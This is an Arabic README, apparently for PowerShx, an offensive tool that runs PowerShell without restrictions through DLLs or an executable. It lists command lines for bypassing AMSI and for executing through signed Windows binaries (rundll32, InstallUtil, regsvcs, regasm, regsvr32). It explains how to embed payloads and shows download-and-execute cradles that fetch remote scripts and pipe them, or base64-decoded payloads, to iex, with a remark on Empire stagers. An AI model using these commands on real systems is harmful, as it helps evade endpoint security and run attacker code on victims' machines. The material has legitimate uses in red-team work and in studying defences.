
تشغيل باورشيل بدون قيود البرامج.
تنفيذ باورشيل غير مُدار باستخدام مكتبات DLL أو ملف تنفيذي مستقل.
PowerShx هو إعادة كتابة وتوسعة لمشروع PowerShdll. يوفر PowerShx وظائف لتجاوز AMSI وتشغيل أوامر PS Cmdlets.
rundll32 PowerShx.dll,main -e <PS script to run>
rundll32 PowerShx.dll,main -f <path> Run the script passed as argument
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet> Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w Start an interactive console in a new window
rundll32 PowerShx.dll,main -i Start an interactive console
rundll32 PowerShx.dll,main -s Attempt to bypass AMSI
rundll32 PowerShx.dll,main -v Print Execution Output to the console
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4.
regsvr32 /s /u PowerShx.dll -->Calls DllUnregisterServer
regsvr32 /s PowerShx.dll --> Calls DllRegisterServer
PowerShx.exe -i Start an interactive console
PowerShx.exe -e <PS script to run>
PowerShx.exe -f <path> Run the script passed as argument
PowerShx.exe -f <path> -c <PS Cmdlet> Load a script and run a PS cmdlet
PowerShx.exe -s Attempt to bypass AMSI.
يمكن تضمين الحمولات عن طريق تحديث قاموس البيانات "Common.Payloads.PayloadDict" في مشروع "Common" واستدعائه في الطريقة PsSession.cs -> Handle() . مثال: في طريقة Handle():
private void Handle(Options options)
{
// Pre-execution before user script
_ps.Exe(Payloads.PayloadDict["amsi"]);
}
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex
ملاحظة: يجب فك تشفير stagers الخاصة بـ Empire باستخدام [System.Text.Encoding]::Unicode
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;
PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"
.NET 4
بعض الأخطاء لا تظهر في المخرجات. قد يكون هذا مربكًا حيث أن أوامر مثل Import-Module لا تظهر خطأ عند الفشل. تأكد من كتابة الأوامر بشكل صحيح.
في وضع dll، يعتمد الوضع التفاعلي ومخرجات الأوامر على اختطاف وحدة التحكم الخاصة بالعملية الأم. إذا لم يكن للعملية الأم وحدة تحكم، استخدم المفتاح -n لعدم إظهار المخرجات وإلا سيتعطل التطبيق.
نظرًا للطريقة التي يتعامل بها Rundll32 مع الوسائط، فإن استخدام عدة مسافات بين المفاتيح والوسائط قد يسبب مشاكل. المسافات المتعددة داخل النصوص لا بأس بها.